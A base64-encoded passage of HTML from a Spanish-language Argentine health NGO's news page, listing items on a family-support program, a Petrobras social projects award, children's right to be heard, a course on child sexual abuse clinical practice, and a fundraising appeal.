vcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzI